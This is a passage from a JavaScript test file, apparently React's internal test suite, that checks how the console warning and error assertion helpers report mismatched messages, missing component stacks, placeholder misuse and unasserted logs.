\\n    in div');\n        assertConsoleWarnDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hi\n        - Bye\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last received warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Wow \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev(['Hi', 'Wow']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hi\n        - Wow\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first warning does not contain a stack', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hello');\n        console.warn('Good day\\n    in div');\n        console.warn('Bye\\n    in div');\n        assertConsoleWarnDev([\n          'Hello\\n    in div',\n          'Good day\\n    in div',\n          'Bye\\n    in div',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hello     in div\n        - Good day     in div\n        - Bye     in div\n        + Hello\n        + Good day     in div (at **)\n        + Bye     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle warning does not contain a stack', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hello\\n    in div');\n        console.warn('Good day');\n        console.warn('Bye\\n    in div');\n        assertConsoleWarnDev([\n          'Hello\\n    in div',\n          'Good day\\n    in div',\n          'Bye\\n    in div',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hello     in div\n        - Good day     in div\n        - Bye     in div\n        + Hello     in div (at **)\n        + Good day\n        + Bye     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last warning does not contain a stack', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hello\\n    in div');\n        console.warn('Good day\\n    in div');\n        console.warn('Bye');\n        assertConsoleWarnDev([\n          'Hello\\n    in div',\n          'Good day\\n    in div',\n          'Bye\\n    in div',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hello     in div\n        - Good day     in div\n        - Bye     in div\n        + Hello     in div (at **)\n        + Good day     in div (at **)\n        + Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s', 'Sara', 'extra');\n        assertConsoleWarnDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number for multiple warnings', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s', 'Sara', 'extra');\n        console.warn('Bye %s', 'Sara', 'extra');\n        assertConsoleWarnDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s');\n        assertConsoleWarnDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args for multiple warnings', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s');\n        console.warn('Bye %s');\n        assertConsoleWarnDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if component stack is passed twice', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s%s', '\\n    in div', '\\n    in div');\n        assertConsoleWarnDev(['Hi \\n    in div (at **)']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n          Hi      in div (at **)\n        +     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple logs pass component stack twice', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi %s%s', '\\n    in div', '\\n    in div');\n        console.warn('Bye %s%s', '\\n    in div', '\\n    in div');\n        assertConsoleWarnDev([\n          'Hi \\n    in div (at **)',\n          'Bye \\n    in div (at **)',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n          Hi      in div (at **)\n        +     in div (at **)\n          Bye      in div (at **)\n        +     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple strings are passed without an array wrapper for single log', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev('Hi', 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleWarnDev(['Hi \\n    in div', 'Bye \\n    in div']);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple strings are passed without an array wrapper for multiple logs', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev('Hi', 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleWarnDev(['Hi \\n    in div', 'Bye \\n    in div']);\n    });\n\n    // @gate __DEV__\n    it('fails on more than two arguments', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Wow \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev('Hi', undefined, 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleWarnDev([\n        'Hi \\n    in div',\n        'Wow \\n    in div',\n        'Bye \\n    in div',\n      ]);\n    });\n\n    it('should fail if waitFor is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.warn('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitFor(['foo', 'bar']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.warn was called without assertConsoleWarnDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n\n    it('should fail if waitForThrow is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      function BadRender() {\n        throw new Error('Oh no!');\n      }\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <BadRender />\n            <Yield id=\"C\" />\n            <Yield id=\"D\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App />);\n\n      console.warn('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForThrow('Oh no!');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.warn was called without assertConsoleWarnDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['A', 'B', 'A', 'B']);\n    });\n\n    it('should fail if waitForPaint is called before asserting', async () => {\n      function App({prop}) {\n        const deferred = useDeferredValue(prop);\n        const text = `Urgent: ${prop}, Deferred: ${deferred}`;\n        Scheduler.log(text);\n        return text;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App prop=\"A\" />);\n\n      await waitForAll(['Urgent: A, Deferred: A']);\n      expect(root).toMatchRenderedOutput('Urgent: A, Deferred: A');\n\n      // This update will result in two separate paints: an urgent one, and a\n      // deferred one.\n      root.render(<App prop=\"B\" />);\n\n      console.warn('Not asserted');\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForPaint(['Urgent: B, Deferred: A']);\n      });\n\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.warn was called without assertConsoleWarnDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['Urgent: B, Deferred: A', 'Urgent: B, Deferred: B']);\n    });\n\n    it('should fail if waitForAll is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.warn('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForAll(['foo', 'bar', 'baz']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.warn was called without assertConsoleWarnDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n    it('should fail if toMatchRenderedOutput is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        console.warn('Not asserted');\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      assertLog([]);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n      const message = expectToThrowFailure(() => {\n        expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n      });\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.warn was called without assertConsoleWarnDev:\n          + Not asserted\n          + Not asserted\n          + Not asserted\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.warn was called without assertConsoleWarnDev:\n          + Not asserted%s,\n          +     in Yield (at **)\n          + Not asserted%s,\n          +     in Yield (at **)\n          + Not asserted%s,\n          +     in Yield (at **)\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      }\n\n      expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n    });\n  });\n\n  describe('assertConsoleErrorDev', () => {\n    it('passes if an error contains a stack', () => {\n      if (__DEV__) {\n        console.error('Hello\\n    in div');\n      }\n      assertConsoleErrorDev(['Hello\\n    in div']);\n    });\n\n    it('passes if all errors contain a stack', () => {\n      if (__DEV__) {\n        console.error('Hello\\n    in div');\n        console.error('Good day\\n    in div');\n        console.error('Bye\\n    in div');\n      }\n      assertConsoleErrorDev([\n        'Hello\\n    in div',\n        'Good day\\n    in div',\n        'Bye\\n    in div',\n      ]);\n    });\n\n    it('fails if act is called without assertConsoleErrorDev', async () => {\n      const Yield = ({id}) => {\n        console.error(id);\n        return id;\n      };\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <Yield id=\"C\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      const message = await awaitExpectToThrowFailure(async () => {\n        await act(() => {\n          root.render(<App />);\n        });\n      });\n\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.error was called without assertConsoleErrorDev:\n          + A\n          + B\n          + C\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n                  \"asserConsoleLogsCleared(expected)\n\n                  console.error was called without assertConsoleErrorDev:\n                  + A%s,\n                  +     in App (at **)\n                  + B%s,\n                  +     in App (at **)\n                  + C%s,\n                  +     in App (at **)\n\n                  You must call one of the assertConsoleDev helpers between each act call.\"\n              `);\n      }\n    });\n\n    it('fails if act is called without any assertConsoleDev helpers', async () => {\n      const Yield = ({id}) => {\n        console.log(id);\n        console.warn(id);\n        console.error(id);\n        return id;\n      };\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <Yield id=\"C\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      const message = await awaitExpectToThrowFailure(async () => {\n        await act(() => {\n          root.render(<App />);\n        });\n      });\n\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.log was called without assertConsoleLogDev:\n          + A\n          + B\n          + C\n\n          console.warn was called without assertConsoleWarnDev:\n          + A\n          + B\n          + C\n\n          console.error was called without assertConsoleErrorDev:\n          + A\n          + B\n          + C\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n                  \"asserConsoleLogsCleared(expected)\n\n                  console.log was called without assertConsoleLogDev:\n                  + A\n                  + B\n                  + C\n\n                  console.warn was called without assertConsoleWarnDev:\n                  + A%s,\n                  +     in App (at **)\n                  + B%s,\n                  +     in App (at **)\n                  + C%s,\n                  +     in App (at **)\n\n                  console.error was called without assertConsoleErrorDev:\n                  + A%s,\n                  +     in App (at **)\n                  + B%s,\n                  +     in App (at **)\n                  + C%s,\n                  +     in App (at **)\n\n                  You must call one of the assertConsoleDev helpers between each act call.\"\n              `);\n      }\n    });\n\n    // @gate __DEV__\n    it('fails if first expected error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Wow \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Hi\n        - Wow\n        - Bye\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle expected error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Hi\n        - Wow\n        - Bye\n        + Hi      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last expected error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Wow \\n    in div');\n        assertConsoleErrorDev([\n          'Hi \\n    in div',\n          'Wow \\n    in div',\n          'Bye \\n    in div',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Expected error was not recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Hi      in div\n        - Wow      in div\n        - Bye      in div\n        + Hi      in div (at **)\n        + Wow      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first received error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Wow \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev(['Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Wow\n        - Bye\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle received error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Wow \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Hi\n        - Bye\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last received error is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Wow \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev(['Hi', 'Wow']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - Hi\n        - Wow\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last received error containing \"undefined\" is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi');\n        console.error(\n          \"TypeError: Cannot read properties of undefined (reading 'stack')\\n\" +\n            '    in Foo (at **)'\n        );\n        assertConsoleErrorDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n          Hi\n        + TypeError: Cannot read properties of undefined (reading 'stack')     in Foo (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('regression: checks entire string, not just the first letter', async () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Message that happens to contain a \"T\"\\n    in div');\n\n        assertConsoleErrorDev([\n          'This is a completely different message that happens to start with \"T\"',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n        - This is a completely different message that happens to start with \"T\"\n        + Message that happens to contain a \"T\"     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s', 'Sara', 'extra');\n        assertConsoleErrorDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number for multiple errors', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s', 'Sara', 'extra');\n        console.error('Bye %s', 'Sara', 'extra');\n        assertConsoleErrorDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s');\n        assertConsoleErrorDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args for multiple errors', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s');\n        console.error('Bye %s');\n        assertConsoleErrorDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if component stack is passed twice', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s%s', '\\n    in div', '\\n    in div');\n        assertConsoleErrorDev(['Hi \\n    in div (at **)']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n          Hi      in div (at **)\n        +     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple logs pass component stack twice', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi %s%s', '\\n    in div', '\\n    in div');\n        console.error('Bye %s%s', '\\n    in div', '\\n    in div');\n        assertConsoleErrorDev([\n          'Hi \\n    in div (at **)',\n          'Bye \\n    in div (at **)',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Unexpected error(s) recorded.\n\n        - Expected errors\n        + Received errors\n\n          Hi      in div (at **)\n        +     in div (at **)\n          Bye      in div (at **)\n        +     in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple strings are passed without an array wrapper for single log', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev('Hi \\n    in div', 'Bye \\n    in div');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleErrorDev(['Hi \\n    in div', 'Bye \\n    in div']);\n    });\n\n    // @gate __DEV__\n    it('fails if multiple strings are passed without an array wrapper for multiple logs', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev('Hi', 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleErrorDev(['Hi \\n    in div', 'Bye \\n    in div']);\n    });\n\n    // @gate __DEV__\n    it('fails on more than two arguments', () => {\n      const message = expectToThrowFailure(() => {\n        console.error('Hi \\n    in div');\n        console.error('Wow \\n    in div');\n        console.error('Bye \\n    in div');\n        assertConsoleErrorDev('Hi', undefined, 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleErrorDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n      assertConsoleErrorDev([\n        'Hi \\n    in div',\n        'Wow \\n    in div',\n        'Bye \\n    in div',\n      ]);\n    });\n\n    describe('in <stack> placeholder', () => {\n      // @gate __DEV__\n      it('fails if `in <stack>` is used for a component stack instead of an error stack', () => {\n        const message = expectToThrowFailure(() => {\n          console.error('Warning message\\n    in div');\n          assertConsoleErrorDev(['Warning message\\n    in <stack>']);\n        });\n        expect(message).toMatchInlineSnapshot(`\n          \"assertConsoleErrorDev(expected)\n\n          Incorrect use of \\\\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with \"Error:\"), not for React component stacks.\n\n          Expected: \"Warning message\n              in <stack>\"\n          Received: \"Warning message\n              in div (at **)\"\n\n          If this error has a component stack, include the full component stack in your expected message (e.g., \"Warning message\\\\n    in ComponentName (at **)\").\"\n        `);\n      });\n\n      // @gate __DEV__\n      it('fails if `in <stack>` is used for multiple component stacks', () => {\n        const message = expectToThrowFailure(() => {\n          console.error('First warning\\n    in span');\n          console.error('Second warning\\n    in div');\n          assertConsoleErrorDev([\n            'First warning\\n    in <stack>',\n            'Second warning\\n    in <stack>',\n          ]);\n        });\n        expect(message).toMatchInlineSnapshot(`\n          \"assertConsoleErrorDev(expected)\n\n          Incorrect use of \\\\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with \"Error:\"), not for React component stacks.\n\n          Expected: \"First warning\n              in <stack>\"\n          Received: \"First warning\n              in span (at **)\"\n\n          If this error has a component stack, include the full component stack in your expected message (e.g., \"Warning message\\\\n    in ComponentName (at **)\").\n\n          Incorrect use of \\\\n    in <stack> placeholder. The placeholder is for JavaScript Error stack traces (messages starting with \"Error:\"), not for React component stacks.\n\n          Expected: \"Second warning\n              in <stack>\"\n          Received: \"Second warning\n              in div (at **)\"\n\n          If this error has a component stack, include the full component stack in your expected message (e.g., \"Warning message\\\\n    in ComponentName (at **)\").\"\n        `);\n      });\n\n      it('allows `in <stack>` for actual error stack traces', () => {\n        // This should pass - \\n    in <stack> is correctly used for an error stack\n        console.error(new Error('Something went wrong'));\n        assertConsoleErrorDev(['Error: Something went wrong\\n    in <stack>']);\n      });\n\n      // @gate __DEV__\n      it('fails if error stack trace is present but \\\\n    in <stack> is not expected', () => {\n        const message = expectToThrowFailure(() => {\n          console.error(new Error('Something went wrong'));\n          assertConsoleErrorDev(['Error: Something went wrong']);\n        });\n        expect(message).toMatch(`Unexpected error stack trace for:`);\n        expect(message).toMatch(`Error: Something went wrong`);\n        expect(message).toMatch(\n          'If this error should include an error stack trace, add \\\\n    in <stack> to your expected message'\n        );\n      });\n\n      // @gate __DEV__\n      it('fails if `in <stack>` is expected but no stack is present', () => {\n        const message = expectToThrowFailure(() => {\n          console.error('Error: Something went wrong');\n          assertConsoleErrorDev([\n            'Error: Something went wrong\\n    in <stack>',\n          ]);\n        });\n        expect(message).toMatchInlineSnapshot(`\n          \"assertConsoleErrorDev(expected)\n\n          Missing error stack trace for:\n            \"Error: Something went wrong\"\n\n          The expected message uses \\\\n    in <stack> but the actual error doesn't include an error stack trace.\n          If this error should not have an error stack trace, remove \\\\n    in <stack> from your expected message.\"\n        `);\n      });\n    });\n\n    describe('[Environment] placeholder', () => {\n      // @gate __DEV__\n      it('expands [Server] to ANSI escape sequence for server badge', () => {\n        const badge = '\\u001b[0m\\u001b[7m Server \\u001b[0m';\n        console.error(badge + 'Error: something went wrong');\n        assertConsoleErrorDev(['[Server] Error: something went wrong']);\n      });\n\n      // @gate __DEV__\n      it('expands [Prerender] to ANSI escape sequence for server badge', () => {\n        const badge = '\\u001b[0m\\u001b[7m Prerender \\u001b[0m';\n        console.error(badge + 'Error: something went wrong');\n        assertConsoleErrorDev(['[Prerender] Error: something went wrong']);\n      });\n\n      // @gate __DEV__\n      it('expands [Cache] to ANSI escape sequence for server badge', () => {\n        const badge = '\\u001b[0m\\u001b[7m Cache \\u001b[0m';\n        console.error(badge + 'Error: something went wrong');\n        assertConsoleErrorDev(['[Cache] Error: something went wrong']);\n      });\n    });\n\n    it('should fail if waitFor is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.error('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitFor(['foo', 'bar']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.error was called without assertConsoleErrorDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n\n    it('should fail if waitForThrow is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      function BadRender() {\n        throw new Error('Oh no!');\n      }\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <BadRender />\n            <Yield id=\"C\" />\n            <Yield id=\"D\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App />);\n\n      console.error('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForThrow('Oh no!');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.error was called without assertConsoleErrorDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['A', 'B', 'A', 'B']);\n    });\n\n    it('should fail if waitForPaint is called before asserting', async () => {\n      function App({prop}) {\n        const deferred = useDeferredValue(prop);\n        const text = `Urgent: ${prop}, Deferred: ${deferred}`;\n        Scheduler.log(text);\n        return 